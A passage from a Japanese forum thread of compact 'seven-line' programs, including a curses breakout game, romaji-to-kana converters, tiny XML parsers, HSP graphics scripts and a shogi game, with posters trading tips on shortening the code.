block.cc:1: error: ISO C++ forbids declaration of `getch' with no type
block.cc:1: error: ISO C++ forbids declaration of `exit' with no type
block.cc:1: error: ISO C++ forbids declaration of `system' with no type
block.cc: In function `int main()':
block.cc:5: error: `r(int)(10)' has type `void' and is not a throw-expression
(´・ω・`)ショボーン
0575デフォルトの名無しさん
NGNGcでコンパイルすればよし…
つーかろくなもんじゃないよ。system("cls")とか最悪。
0576デフォルトの名無しさん
NGNG環境依存なくできれば最高だけど
ゲームの性質からして無理なんじゃないかな。
0577デフォルトの名無しさん
NGNGまぁ575は無視するにしても、
環境依存するプログラムである瞬間に評価は下がってしまうよね。
たとえば574みたいに、せっかくコンパイルしてくれても
c++では動かない、Windowsでは動かない、みたいになっちゃうしね。
俺はincludeが無い瞬間にコンパイルしないけどね。
0578デフォルトの名無しさん
NGNGって環境依存?
0579デフォルトの名無しさん
NGNG何を聞いてるのかわからないが
"C"はまともな実装なら必ず使える
0580デフォルトの名無しさん
NGNGまぁ、"C"が使えなかったら、"C"++ じゃないからね…
0581デフォルトの名無しさん
NGNG0582デフォルトの名無しさん
NGNGcygwin + g++ で動いた。
g++ -Wall -O3 hogehoge.cc -lcurses
でコンパイル。
でも12行。
#include <curses.h> // argument1 means a seed of rand()
#include <cstdlib> // h: move to left, l: move to right
int a,i,u,e,o,c,m,k,q=1,w=1,N=80,X=40,Y=40;WINDOW*s;struct T{int x,y,f;void K()
{mvwprintw(s,y,x,"%c",f?'#':' ');}T(){x=rand()%(X-1);x=x?x:1;y=rand()%Y/4;y=y?y
:1;f=1;}};int main(int M,char**v){e=X-2;m=X/2;k=Y/2;o=a=X-9;u=Y-4;srand(atoi(v[
1]));initscr();noecho();cbreak();s=newwin(Y,X,0,0);box(s,'|','-');T g[N];while(
k<=u&&(c=wgetch(s))!='Q'){wrefresh(s);wtimeout(s,100);mvwaddch(s,k,m,' ');m+=q,
k+=w;if(m<2||m>e)q*=-1,m=m<2?2:e;if(k<2||m>=o&&m<o+8&&k>u-1)w*=-1,k=k<2?1:u-1;
for(;i<N;){T&F=g[i++];if(F.f&&(k-1==F.y||k+1==F.y)&&m==F.x)w*=-1,F.f=0;}mvwadd\
ch(s,k,m,'O');mvwprintw(s,u,o,"%8s"," ");if(c=='h'&&--o<2)o=1;if(c=='l'&&++o>a)
o=a;mvwaddstr(s,u,o,"========");for(;i>0;g[--i].K());wmove(s,0,0);}delwin(s);e\
ndwin();return 0;}
0583582
NGNGbash-2.05$ ./a.exe 4
みたいに引数に数字を指定して。
実行しても何も表示されなかったら
ウィンドウのサイズを大きくして。
0584デフォルトの名無しさん
NGNGwinじゃダメなのかな。cursesが無いと出てまう。
0585デフォルトの名無しさん
NGNGcygwin入れてないの?
0586582
NGNGcygwin入れててもcurses関係のライブラリを
入れてなかったら文句言われます。
0588デフォルトの名無しさん
NGNGhttp://www.mars.dti.ne.jp/~sohda/cygwin/setup.html
0590デフォルトの名無しさん
NGNG0591デフォルトの名無しさん
NGNG%B=(a,"あ",i,"い",u,"う",e,"え",o,"お",ba,"ば",bi,"び",bu,"ぶ",be,"べ",bo,"ぼ",
da,"だ",di,"ぢ",du,"づ",de,"で","do","ど",ga,"が",gi,"ぎ",gu,"ぐ","ge","げ",go,
"ご",ha,"は",hi,"ひ",hu,"ふ",he,"へ",ho,"ほ",ka,"か",ki,"き",ku,"く",ke,"け",ko,
"こ",la,"ぁ",li,"ぃ",lu,"ぅ","le","ぇ",lo,"ぉ",ma,"ま",mi,"み",mu,"む",me,"め",
mo,"も",na,"な",ni,"に",nu,"ぬ","ne","ね","no","の",pa,"ぱ",pi,"ぴ",pu,"ぷ",pe,
"ぺ",po,"ぽ",ra,"ら",ri,"り",ru,"る",re,"れ",ro,"ろ",sa,"さ",si,"し",su,"す",se,
"せ",so,"そ",ta,"た",ti,"ち",tu,"つ",te,"て",to,"と",wa,"わ",wo,"を",ya,"や",yu,
"ゆ",yo,"よ",za,"ざ",zi,"じ",zu,"ず",ze,"ぜ",zo,"ぞ",nn,"ん",lya,"ゃ",lyu,"ゅ",
lyo,"ょ","\n"=>"\n");
open(fh,"aiu.dat");for(1..40){ $in="";&A;if(!$B{$in}){&A;if(!$B{$in}){&A;if(!$B{
$in}){print $in;}}}print $B{$in};}close(fh);sub A{read(fh,$temp,1);$in.=$temp;}
0592デフォルトの名無しさん
NGNG0593デフォルトの名無しさん
NGNG$m='aあiいuうeえoおbaばbiびbuぶbeべboぼdaだdiぢduづdeでdoどgaがgiぎguぐgeげgo'
.'ごhaはhiひhuふheへhoほkaかkiきkuくkeけkoこlaぁliぃluぅleぇloぉmaまmiみmuむm'
.'eめmoもnaなniにnuぬneねnoのpaぱpiぴpuぷpeぺpoぽraらriりruるreれroろsaさsiし'
.'suすseせsoそtaたtiちtuつteてtoとwaわwoをyaやyuゆyoよzaざziじzuずzeぜzoぞnn'
.'んlyaゃlyuゅlyoょ'%M=split/(\W+)/,$m;open(FH,"aiu.dat");
while(&F){if((join'',@B)=~/^([bcdghjklmnrstwx]?[yh]?[aiueon])/i&&$M{$1}){
print$M{$1};splice(@B,0,length($1))}else{$_=shift(@B);$_='ん'if($_ eq'n');
print}}sub F{$_=2-$#B;$_?(read(FH,$_,$_),push(@B,split//,$_),$_ ne''):1}
もう寝るから誰かがやるToDo:促音対応とかテーブルの充実・圧縮・7行化
0594デフォルトの名無しさん
NGNG0595デフォルトの名無しさん
NGNG0596デフォルトの名無しさん
NGNGっ,rya,voなど未対応の、1文字||2文字→1文字まで。
何も考えてないので、機能アップと短くするのはおまかせで。
#include <stdio.h>
int c,d,i,j,f,g;char*s="aiueokstnhmyrwgzdbpl",*h="あいうえおかきくけこさしすせ"
"そたちつてとなにぬねのはひふへほまみむめもやいゆえよらりるれろわゐ ゑをがぎ"
"ぐげござじずぜぞだぢづでどばびぶべぼぱぴぷぺぽぁぃぅぇぉ";void p(int i,int j){
putchar(h[i*10+j*2]);putchar(h[i*10+j*2+1]);}void P(int c){if(c=='n')printf(
"ん");else putchar(c);}int main(){c=getchar();d=-1;for(;~c;){f=0;for(i=20;!f*i
--;)if(s[i]==c){f=1;}if(f){if(g){if(i>3){g=1;P(d);}else{p(j-3,i+1);c=-1;g=0;}}
else{if(i>3){g=1;if(d>=0)P(d);}else{if(d>=0)P(d);p(0,i+1);c=-1;g=0;}}}else{if(d
>=0)P(d);g=0;}d=c;c=getchar();j=i;}return 0;}
0597デフォルトの名無しさん
NGNGpack使ってる2行をまとめれば5行だと思う。けどもうマンドクサ(;´Д`)誰かやって。
%V=(a,0,i,1,u,2,e,3,o,4);%C=(n,[C8,1],r,[E7,1],k,[A9,2],g,[AA,2],z,[B4,2],h,[CD,
3],b,[CE,3],p,[CF,3],w,[ED,3/4],y=>[E2,1],m=>[DC,1],s=>[B3,2]);$v='aiueo';while(
<>){s/n([^$v])/ん$1/g;s/[xl]tu/っ/g;s/([td])([$v])/qw(た ち つ て と だ ぢ づ で
ど)[($1eq"d")*5+$V{$2}]/eg;s/([xl])?([^$v])([$v])/pack(C,130).pack(C,hex($C{$2}[
0])+$C{$2}[1]*$V{$3}-(!!$1))/eg;s/([xl])?([$v])/pack(C,130).pack(C,160+$V{$2}*2-
(!!$1))/eg;print;}
0598デフォルトの名無しさん
NGNG#include <stdio.h> /* Cdemodekitayo,ve-xtuhaxtuha kyawoxyaxa ltaltu */
int c,d,e,i,j,k,f,g;char*s="aiueolxwytksnhmrgzdbpv",*h="あいうえおぁぃぅぇぉぁ"
"ぃぅぇぉわゐうゑをやいゆえよたちつてとかきくけこさしすせそなにぬねのはひふへ"
"ほまみむめもらりるれろがぎぐげござじずぜぞだぢづでどばびぶべぼぱぴぷぺぽゃぃ"
"ゅぇょっヴヴ";void P(int c){if(c=='n')printf("ん");else if(c>=0)putchar(c);}
void p(int i,int j){for(i=i*10+j*2,j=2;j--;)putchar(h[i++]);}int main(){for(c=
getchar();;){for(i=22;i--;)if(f=s[i]==c)break;if(f){f=0;if(g==7&&i==2){p(18,0);
}else if(g==4&&k==21){p(18,1);p(17,i);}else if(i<5){if(g==7){P(e);p(5,i);}else
if(g==5){p(1,i);}else if(g==3&&j==21){p(18,1);p(1,i);}else{if(g==4||g==6){if(g
==4)p(k-4,1);p(17,i);}else{p(g?j-4:0,i);}}}else if((g==5||g==3)&&i==8)f=g+1;
else if(g==5&&i==9)f=7;else{if(g==4||g>5)P(e);if(g)P(d);if(i<7)f=5;else if(i<9)
f=1;else f=3;}}else{if(g==4||g==6)P(e);if(g)P(d);P(c);}g=f;if(c<0)break;e=d;d=c
;c=getchar();k=j;j=i;}return 0;}
0599デフォルトの名無しさん
NGNGint c,d,e,i,j,k,f,g;int p(int i,int j){for(i=i*10+j*2,j=2;j--;)putchar("あいう"
"えおぁぃぅぇぉわゐうゑをやいゆえよたちつてとかきくけこさしすせそなにぬねのは"
"ひふへほまみむめもらりるれろがぎぐげござじずぜぞだぢづでどばびぶべぼぱぴぷぺ"
"ぽゃぃゅぇょっヴん"[i++]);return 0;}void P(int c){c=='n'?p(17,2):c>=0?putchar(
c):0;}int main(){for(c=getchar();;){f=0;for(i=22;!f&&i--;)f="aiueolxwytksnhmrg"
"zdbpv"[i]==c;f=f?g==7&&i==2?p(17,0):g==4&&k==21?p(17,1),p(16,i):i<5?g==7?P(e),
p(4,i):g==5?p(1,i):g==3&&j==21?p(17,1),p(1,i):g==4||g==6?g==4?p(k-5,1):0,p(16,i
):p(g?j-5:0,i):(g==5||g==3)&&i==8?g+1:g!=5||i!=9?P(g==4||g>5?e:-1),P(g?d:-1),i<
7?5:i<9?1:3:7:(P(g==4||g==6?e:-1),P(g?d:-1),P(c),0);g=f;if(c<0)break;e=d;d=c;c=
getchar();k=j;j=i;}return 0;}
>>598縮めた
0600デフォルトの名無しさん
NGNG,[E7,1],k,[A9,2],g,[AA,2],z,[B4,2],h,[CD,3],b,[CE,3],p,[CF,3],w,[ED,3/4],y=>[E2,
1],m=>[DC,1],s=>[B3,2]);while(<>){s/j([^i])/zy$1/g;s/f([^u])/hux$1/g;
s/([knhmrgbpsctz])(?:y|h)([auo])/$1ixy$2/g;s/([^n])n([^n$v])/$1nn$2/g;
s/([^n$v])\1/xtu$1/g;tr/lfcj/xhtz/;s/(s|t)h/$1/g;s/(nn|[^$v]*[$v])/($p=$1)=~s
!^(x)?([$v])!$1a$2!;$p=~m!(x)?(.)?(.)!;pack(S,(hex($C{$2}[0])+$C{$2}[1]*$V{$3}-
(!!$1)-($p=~m![td][ai]!))*256+130);/eg;print;}
ぐぅ。。。わけわかめ(;´Д`)
できる(と思う)もの
・「n」の処理(anko→「あんこ」annko→「あんこ」annnnko→「あんんこ」)
・促音(atta→あった)
・拗音(kya→きゃ,[knhmrgbps])
・変な奴(sha,cha,cya,ja,fa)は中途半端に対応してるかも
annna→あんな
juujituyasai
fakkuyu
できないもの
・tsuはできない
0601593
NGNG@T=split/(\W+)/,'Yじxふxう_あいうえおkかきくけこcかちくせこgがぎぐげごsさし'.
'すせそzざじずぜぞjじじfふtたちつてとdだぢづでどnなにぬねのhはひふへほbばび'.
'ぶべぼpぱぴぷぺぽmまみむめもyやいゆえよrらりるれろwわゐうゑをxぁぃぅぇぉYゃ'
.'ぃゅぇょTたちってと';my@B;%T=@T[6..99];$T{'l'}=$T{'x'};$s=join'',keys%T;$b=
'[aiueo]';while(&F){$_=&S;if(&B=~/[xl]t $b/){$_='T';&S}if(&B=~/[cs]h i|ts u/)
{&S}$o='j'eq$_?0:'f'eq$_?2:4,($_,$p)=@T[$o..9],$o==4&&S(),print$p if(&B=~
/j[aueo]|f$b|wh $b/);if(&B!~/nh/&&B()=~/^([$s])?([yh] )?($b)/){if($2&&'x'ne$1
){$k=$1;$n=&B=~/th/?3:1,@B=(qw(x y),$_=pop@B)}else{$n=-1+index$b,$3;$1&&S();$
k=$2?(&S,'Y'):$1?$1:'_'}$_=substr($T{$k},$n*2,2)}else{$_='n'eq$_?($B[0]eq'n'
&&S(),'ん'):'っ'if(&B=~/^([$s])\1|^n/s);}print}sub F{$_=2-$#B;$_?(read(STDIN,
$_,$_),push(@B,split//,lc$_),''ne&B):1}sub B{"$_@B"}sub S{shift@B}
jiyuuminshu syakai fifa fyo = じゆうみんしゅ しゃかい ふぃふぁ
anko annko annnko annnnko an = あんこ あんこ あんんこ あんんこ あん
nyaxan jyuzu chikyuu totyuu thuu = にゃぁん じゅず ちきゅう とちゅう てゅう
omotya ocha whizudamu xaxtulaltu = おもちゃ おちゃ うぃずだむ ぁっぁっ
juujitu jyuusu fakkuyu = じゅうじつ じゅうす ふぁっくゆ
bagu: xha fyo = ばぐ: ゃ ょ
0602デフォルトの名無しさん
NGNGhttp://cm.xrea.cc/techinfo.cgi
0603デフォルトの名無しさん
NGNG0604デフォルトの名無しさん
NGNG0605デフォルトの名無しさん
NGNGEUC,SJISでよければ、両対応も難しくなさそうですな。
0606デフォルトの名無しさん
NGNG0607デフォルトの名無しさん
NGNG0608デフォルトの名無しさん
NGNG0609デフォルトの名無しさん
NGNGsub sox{($d,$s,$e)=@_;$t=1;@d=split//,$d;O:for($C=$E=$A=$V='',@A=();($_=shift
@d)ne'';){$n=0;if($t&1){/</?$n=$d[0]eq'/'?((shift@d),4):1:$C.=$_}/>/?$t=4:$E
.=$_ if($t&16);if($t&128){$t=8 if(!/\s/)}if($t&14){if(/>|\//){($t&4?$e:$s)->(
$C,$E,@A);(/\//&&$t&2&&''ne$E)?$t=4:($t=1,goto O)}}if($t&2){/\s/?$n=2:$E.=$_}
if($t&8){/=/?$n=2:$A.=$_}$n=1,($_=~/["']/)?$q=$_:($V.=$_,$q='\s')if($t&32);
/$q/?(@A=(@A,$A,$V),$n=1,$A=$V=''):($V.=$_)if($t&64);$t<<=$n}}
# デモ
$start = sub { my($cont,$elem,@attr)=@_;
$cont=~tr/\n//d;print"$idt:$cont\n"if($cont ne'');
print"$idt<$elem>\n";
while($#attr>=0){printf("$idt %s: %s\n",shift@attr,shift@attr)}
$idt.=' ';
};
$end = sub { my($cont,$elem)=@_;
$cont=~tr/\n//d;print"$idt:$cont\n"if($cont ne'');
$idt=substr($idt, 4);
print"$idt</$elem>\n";
};
sox(<<'END_XML', $start, $end);
<html><head><title>7行XMLパーサ</title></head>
<body style="background=#FFF;color=#000">
<p>暇に任せて<em>SOXパーサ</em>(sox関数が6行)です (<a
href='http://pc2.2ch.net/test/read.cgi/tech/1051703369/l50'
title="七行プログラミング part4">投稿先</a>)</p><hr/>
<p>実体参照使用不可。大ざっぱにWell-formedな<acronym>XML</acronym>を
対象にしていますが、validateは無理。=の前後のスペースに弱いです。</p>
<p>疲れた (;´Д`)</p>
</body></html>
END_XML
0610デフォルトの名無しさん
NGNG0611デフォルトの名無しさん
NGNGへた字ってなに?フォント名?
それとも、所謂クサチュー語(最近では"ギャル語")のこと?
0613デフォルトの名無しさん
NGNG縮め。
sub sox{($d,$s,$e)=@_;$t=1;@d=split//,$d;O:for(($C,$E,$A,$V,@A)=();($_=shift@d)
ne'';){$n=0;/</?$n=$d[0]eq'/'?(shift@d,4):1:$C.=$_ if$t&1;/>/?$t=4:$E.=$_ if$t&
16;/\s/ or$t=8if$t&128;($t&4?$e:$s)->($C,$E,@A),(m|/|&&$t&2&&''ne$E)?$t=4:($t=1
,goto O)if$t&14&&/>|\//;/\s/?$n=2:$E.=$_ if$t&2;/=/?$n=2:$A.=$_ if$t&8;$n=1,
/["']/?$q=$_:($V.=$_,$q='\s')if$t&32;/$q/?(@A=(@A,$A,$V),$n=1,$A=$V=''):($V.=$_
)if$t&64;$t<<=$n}}
別アプローチ。
use strict;sub P{my($t,@t)=pop;while($t=~m!<([^\s>]+)([^>]+)?>(.*?)</\1>|([^<]+
)!gsx){my($E,$A,$C,$c,%A)=($1,$2,$3,$4);($A{$1}=$2)=~s/^(["'])(.*)\1\z/$2/while
$A=~/(\S+?)=("[^"]*"|'[^']*'|\S+)/gs;push@t,""ne$E?{e=>$E,a=>\%A,c=>P($C)}:$c}\
@t}sub S{my($t,$i)=@_;for(@{$t}){if(ref){no strict"vars";local($E,*A,$C)=@{$_}{
e=>a=>'c'};print"$i$E>\n",map"$i $_=$A{$_}\n",sort keys%A;S($C,$i." ")}else{s/
(?<=\n)./$i$&/gx;s/\s+\z//;print"$i$_\n"}}}
S P <<'XML';
...
XML
うーん。
0614デフォルトの名無しさん
NGNG0615デフォルトの名無しさん
NGNGとりあえず辞書キボン
0616デフォルトの名無しさん
NGNG0617デフォルトの名無しさん
NGNGギャル語じゃなくてギャル字だろ?
0618デフォルトの名無しさん
NGNGギャル字ならなんとかなるんじゃないか?
というわけでギャル字辞書キボン
0619デフォルトの名無しさん
NGNG#include <stdio.h>
char j[]="あいうえおー。、なまらぁかがさざはばぱただゃやかわじふ",e[]=
"aiueo-.,nmrlkgszhbptd ycwjf",i,f=0,c,d=0;void p(int x,int y){if(y==21&&x==1)
return;putchar(j[y*2]);if(y>=11)y<16?x*=2:y<19?x*=3:y<21&&x<2?x*=2:y<21?x*=2,
x++:y<22&&x==3?x=6,y=11:y<23?0:y<24&&(x==1||x==3)?x*=2,y=14:y<24?x*=2:y==24&&x
==4?x=3:0;putchar(j[y*2+1]+x-f);}int main(){while(i=getchar()){c=0;while(e[c]
!=i&&e[c]!=0)c++;if(c==27){if(d==8)puts("ん"),d=0;continue;}if(d==0)c>=8?d=c:
putchar(j[c*2])+putchar(j[c*2+1]);else if(c>=8)d==8?fputs("ん",stdout),c-d?d=c
:d=0:c==d?fputs("っ",stdout):d==10?f=1,d=c:c==16&&d==23?p(1,19),d=21:c==22?p(1
,d),d=21:0;else{d==25?p(1,15),d=21:0;if(d==26){p(2,16);d=11;if(c==2){d=f=0;
continue;}}p(c,d);d=f=0;}}return 0;}
0620619
NGNGjyaとか3文字系は一部わけわからん出力になりますw
0621デフォルトの名無しさん
NGNGputs("ん"); はだめだべ…
0622デフォルトの名無しさん
NGNGそんなこと→ドンドコドーン、悪人→ルンゲン
等、特殊なものも変換できる
(または、新単語をカスタマイズできる)
ような奴がベストです。
0623デフォルトの名無しさん
NGNG0624デフォルトの名無しさん
NGNG・ローマ字に分解して母音を改竄し、片仮名に再変換
とか考えられるが、どちらにしても7行に収めるのは
つらいと思われ。
0625デフォルトの名無しさん
NGNG使っていろいろしないと どんな文字かも忘れますた
0627デフォルトの名無しさん
NGNGint j,l,u;UCHAR*p,*r,*s;char*t="ラィイゥルェエォオカaキaクaケaコacザ\0cザ\0シaスaセaソaタacディ\0cチ"\
"゙\0ッツaテcディ\0cドゥ\0cド\0ナルヌネノハcャー\0cパ\0ヒabフabヘabオabマミムメモャヤュユョヨラリルレロワワイエヲン",o[9\
99],q[999];int main(c,v)char**v;{HWND w=CreateWindow("STATIC",0,0,0,0,1,1,0,0,0,0
);HIMC i=ImmGetContext(w);HKL k=GetKeyboardLayout(0);ImmGetConversionList(k,i,v[1
],(CANDIDATELIST*)o,999,2);p=(UCHAR*)(&o[0]+*((CANDIDATELIST*)o)->dwOffset);ImmR\
eleaseContext(w,i);for(c=0,s=q;c<strlen(p);c+=2){if((u=p[c]*256+p[c+1])>33439&&u<
33522){for(l=0,r=t;l<u-33440;l++)r+=(*r-99)?1:strlen(r)+1;*s=(*r-97)?*r-98?*r:(*(
s+1)=223,*(r-2)):(*(s+1)=222,*(r-1));s+=(*r-97)?*r-98?*r-99?1:(strcpy(s,r+1),str\
len(r)-1):2:2;}else{memcpy(s,p+c,2);s+=2;}}puts(q);return 0;}
簡単なオンドゥル語変換プログラム
10行だし激しくOS依存だけど∧||∧
たまに変な変換をしてくれます
0628デフォルトの名無しさん
NGNG"きる","1","ける","1","へる","1","ちる","1","てる","1","しゃべる","1",
"まいる","1","あせる","1","かじる","1","まじる","1","なじる","1",
"よじる","1","あじる","1","しくじる",1,"ねぎる","1","かぎる",1,
"ちぎる","1","くぎる",1,"とちる","1","ねる",1);
open(f,"in")@t=<f>;@l=();$cau=0;foreach $b(@t){$b=~ s/\n//;
if($b eq "くる" || $b =~ /する$/ || $b =~ /ずる$/){
if($b eq "くる"){$b = "こ こ き くる くれ (こい|こよ) こ";}
elsif($b =~ /する$/){$b =~ s/する$//;
$b = "$bし $bさ $bし $bする $bすれ $b(しろ|せよ) $bし";}
elsif($b =~ /ずる$/){$b =~ s/ずる$//;
$b = "$bじ $bじ $bじ $bずる $bずれ $bずよ $bじ";}}elsif($b !~ /る$/){
if($b =~ /う$/){$b =~ s/う//;$b ="$bわ $bわ $bい $bう $bえ $bえ $bお";}
elsif($b=~ /く$/){$b=~ s/く//;$b="$bか $bか $bき $bく $bけ $bけ $bこ";}
elsif($b=~ /す$/){$b=~ s/す//;$b="$bさ $bさ $bし $bす $bせ $bせ $bそ";}
elsif($b=~ /つ$/){$b=~ s/つ//;$b="$bた $bた $bち $bつ $bて $bて $bと";}
elsif($b=~ /ぬ$/){$b=~ s/ぬ//;$b="$bな $bな $bに $bぬ $bね $bね $bの";}
elsif($b=~ /ふ$/){$b=~ s/ふ//;$b="$bは $bは $bひ $bふ $bへ $bへ $bほ";}
elsif($b=~ /む$/){$b=~ s/む//;$b="$bま $bま $bみ $bむ $bめ $bめ $bも";}
elsif($b=~ /ぐ$/){$b=~ s/ぐ//;$b="$bが $bが $bぎ $bぐ $bげ $bげ $bご";}
elsif($b=~ /ず$/){$b=~ s/ず//;$b="$bざ $bざ $bじ $bず $bぜ $bぜ $bぞ";}
elsif($b=~ /づ$/){$b=~ s/づ//;$b="$bだ $bだ $bぢ $bづ $bで $bで $bど";}
elsif($b=~ /ぶ$/){$b=~ s/ば//;$b="$bば $bば $bび $bぶ $bべ $bべ $bぼ";}
}elsif($b !~ /(い|き|し|ち|に|ひ|み|り|え|け|せ|て|ね|へ|め|れ)る$/){
$b =~ s/る$//;$b = "$bら $bら $bり $bる $bれ $bれ $bろ";
}elsif(!$wor{$b}){$b =~ s/る$//;$b="$b $b $b $bる $bれ ($bよ|$bろ) $b";
}else{$b =~ s/る$//;$b="$bら $bら $bり $bる $bれ $bれ $bろ";
}$l[$cau] = $b."\n";$cau++;}open(f,">out");print f @l;
0629628
NGNGttp://www.ipa.go.jp/STC/NIHONGO/IPAL/ipal.html(辞書)
ttp://homepage3.nifty.com/taketoki/flow.html(フローチャート)
未然(否定、使役&受身)連用形 終止&連体形 仮定形 命令形 未然形
0630HSP
NGNGemath 10:pos 252,186 :mes "@":pos 190,60 :mes "◎ ◎"
repeat 1024: emcos xt,cnt-128/2: emsin yt,cnt-128/2: emsin xb,cnt+32
emsin xm,cnt/2: pset xt/20+206,yt/20+50: pset -xt/20+306,yt/20+50
emcos xo,cnt/7-10: pset xb/50+176,cnt/4+95: pset -xb/50+336,cnt/4+95
emsin yo,cnt/7-10: pset xo/9+332,yo/18+240: pset -xo/9+180,yo/18+240
pset xm/120+246,cnt/13+275: pset -xm/120+266,cnt/13+275: loop: stop
0631HSP
NGNGemath 10:pos 253,186:mes"6":pos 190,60:mes"@":repeat 1024:rnd r,20
s=r*r/12+1:c=cnt:emcos t,c-128+(s*61):emsin u,c-128+(s*61):emsin a,c+32
emsin m,c/2-s:emsin y,c+s/7-(s/2):emcos x,c+s/7-(s/2)
pset t/20+206+s,u/20+50-s:pset m/120+249-s,c/13+279-s+(c*s/1000)
pset a/50+176+s,c/4+95:pset x/9+330+(s*2),y/18+240+(s)
loop:repeat 100:pos 359-cnt,0:gcopy 0,cnt+156,0,1,479:loop:stop
0632HSP
NGNGrepeat 7:rnd x,640:rnd y,480:c=255:cn=0:xx=0:yy=0
rnd h,256:rnd l,40:repeat l+40:rnd kn,6:rnd hh,20
hx=hh-10:emcos xp,hx:emsin yp,hx:repeat kn:cn=cn+1:h=h+hx
emcos xh,h:emsin yh,h:xx=xx+xh:yy=yy+yh:if cn<33:c=255-(cn*8)
color c,c,c:pset xx/256+x,yy/256+y
loop:loop:loop:stop
0633デフォルトの名無しさん
NGNGwhile(<DATA>){tr/A-Za-z0-9+\///cd;tr/A-Za-z0-9+\// -_/;
$a.=unpack(u,pack(c,32+0.75*length).$_);}eval$a;
__END__
JF89J0lJSElnY2dLS04rRVJOOHBJSUdEU0ZOUWtNQ0N3WUxFZ3VhQ3RRbz0nO3RyL0EtWmEtejAt
OStcLy8vY2Q7dHIvQS1aYS16MC05K1wvLyAtXy87cHJpbnQgdW5wYWNrKHUscGFjayhjLDMyKzAu
NzUqbGVuZ3RoKS4kXyk7
0634雪ん子
NGNGポインタの使い方が不得意なんで配列どっさり∧||∧
使い方は数字4文字をFrom Toで座標的にみれ。ただし先手が上(ぇ
p(駒番号)Toの4文字で駒を鬱。
駒番号は歩1〜飛車7までだ。
表示の日本語はポリシーなんで削りませんでした。
#include <stdio.h>
char *k=" \0歩\0香\0桂\0金\0銀\0角\0飛\0王\0",d[81]={2,3,4,5,8,5,4,3,2,0,7},h\
[64],b[9],t,i,j,u,m,v,s,*p;bool C(){m=d[i];u=d[j];if(j>81||i>81||j==i||u==0||(\
m&&m>>5==u>>5)||(u&32)!=t)return false;m=j-i;s=t/16-1;m*=s;s=u%32;if((s==1&&m=\
=9)||(s==3&&(m==19||m==17))||(s==4&&((7<m&&m<11)||m==-8||m==-10))||((s&8||21<s)
&((7<m&&m<11)||m==1||(-7<m&&m<-11)||m==-1)))goto l;if(s==5||(16<s&&s<22)){if((\
7<m&&m<11)||m==1||m==-1||m==-9)goto l;}else{v=j;do{if(s%16==6)v+=(b[2]>*b?1:-1
)+(b[3]>b[1]?9:-9);if(s%16==7)v+=(m%9)?(j>i?-1:1):(j>i?-9:9);if(s==2&&m&&m%9==0
)v+=(t?-9:9);}while(v!=i&&!d[v]);if(v==i)goto l;}return false;l:for(m=t;m<t+20;
m++)if(h[m]==0){h[m]=d[i]%16;break;}d[j]=0;d[i]=u;if(s<8&&((t==0&&j>53&&i<54)||
(t==32&&i<27&&j>26))){m=0;puts("成りますか?(y/n)");while(m!=121&&m!=110)scanf(
"%c",&m);if(m==121)d[i]+=16;}return true;}
0635雪ん子
NGNGvoid main(){d[16]=6;for(i=18;i<27;)d\
[i++]=1;for(i=0;i<28;i++)d[80-i]=d[i]+(d[i]?32:0);for(;;){p=d;for(i=0;i<81;){u\
=*p++;j=u%16;m=(u&16)>>4;u>>=5;if(!j)u = 2;printf("|%c%s%c",m?43:32,k+j*3,u>1?
32:(!u?94:95));if(i++%9==8)puts("|\n");}puts("先手:");for(i=0;i<64;){if(h[i])
printf("%s",k+h[i]*3);if(i++==30)puts("\n後手:");}printf("\n%s入力\n",t?"後手"
:"先手");scanf("%4s",b);for(i=0;i<4;)b[i++]-=49;b[2]=8-b[2];i=b[2]+b[3]*9;if(*b
==63){j=b[1];if(i>81||d[i])continue;if(j==1)for(u=i%9;u<80;)if(d[u+=9]==j+t)co\
ntinue;for(u=0;u<32;u++)if(h[t+u]==j){h[t+u]=0;d[i]=j+t;t=32-t;}}else{j=8-*b+b\
[1]*9;if(C())t=32-t;}for(i=0;i<64;)if(h[i++]==8)return;}}
0636雪ん子
NGNG金変な動きするし直します。
0637デフォルトの名無しさん
NGNGbool, true, false → int, 1, 0
(A&&B)||(C&&D) → A&&B||C&&D
(A式)?(B式):(C式) → A式?B式:C式
括弧はかなり減らせそう
1 後置演算子
2 前置演算子
3 キャスト
4 * / %
5 + -
6 << >>
7 < <= > >=
8 = !=
9 &
10 ^
11 |
12 &&
13 ||
14 ? :
15 = 代入演算子
16 ,
0638雪ん子
NGNGchar *k=" \0歩\0香\0桂\0銀\0金\0角\0飛\0王\0",d[81]={2,3,4,5,8,5,4,3,2,0,7},h\
[64],b[9],t,i,j,u,m,v,s,*p;int C(){m=d[i];u=d[j];if(j>81||i>81||j==i||u==0||m&&
m>>5==u>>5||(u&32)==t)return 0;m=j-i;m*=-t/16+1;s=u%32;if(s==1&&m==9||s==3&&(m
==19||m==17)||s==4&&(7<m&&m<11||m==-8||m==-10)||(s&8||21<s)&&(7<m&&m<11||m==1||
-7<m&&m<-11||m==-1))goto l;if(s==5||16<s&&s<22){if(7<m&&m<11||m==1||m==-1||m==
-9)goto l;}else{v=j;do{if(s%16==6&&(m%8==0||m%10==0))v+=(b[2]>*b?1:-1)+(b[3]>b\
[1]?9:-9);if(s%16==7)v+=m%9?j>i?-1:1:j>i?-9:9;if(s==2&&m&&m%9==0)v+=t?9:-9;}wh\
ile(v!=i&&!d[v]);if(v==i)goto l;}return 0;l:for(m=32-t;m<64-t;m++)if(h[m]==0){
h[m]=d[i]%16;break;}d[j]=0;d[i]=u;if(s<8&&(t&&j>53&&i<54||!t&&i<27&&j>26)){put\
s("成る?y/n");for(m=0;m!='y'&&m!='n';scanf("%c",&m));if(m=='y')d[i]+=16;}retu\
rn 1;}void main(){d[16]=6;for(i=18;i<27;)d[i++]=1;for(i=0;i<28;i++)d[80-i]=d[i]
+(d[i]?32:0);for(;;){p=d;for(i=0;i<81;){u=*p++;j=u%16;m=(u&16)>>4;u>>=5;if(!j)
u=2;printf("|%c%s%c",m?43:32,k+j*3,u>1?32:(!u?94:95));if(i++%9==8)puts("|\n");}
printf("先手:");for(i=63;i;){if(h[i])printf("%s",k+h[i]*3);if(i--==30)printf(
"\n後手:");}printf("\n%s手入力\n",t?"後":"先");scanf("%4s",b);for(i=0;i<4;)b[
i++]-=49;b[2]=8-b[2];i=b[2]+b[3]*9;if(*b==63){j=b[1]+1;if(i>81||d[i])continue;
if(j==1)for(u=i%9;u<81;)if(d[u+=9]==j+t)continue;for(u=32-t;u<64-t;u++)if(h[u]
==j){h[u]=0;d[i]=j+t;t=32-t;}}else{*b=8-*b;j=*b+b[1]*9;if(C())t=32-t;}for(i=0;
i<64;)if(h[i++]&8)return;}}
へたれだからこれ以上括弧へらせない。バグ修復済み
0639雪ん子
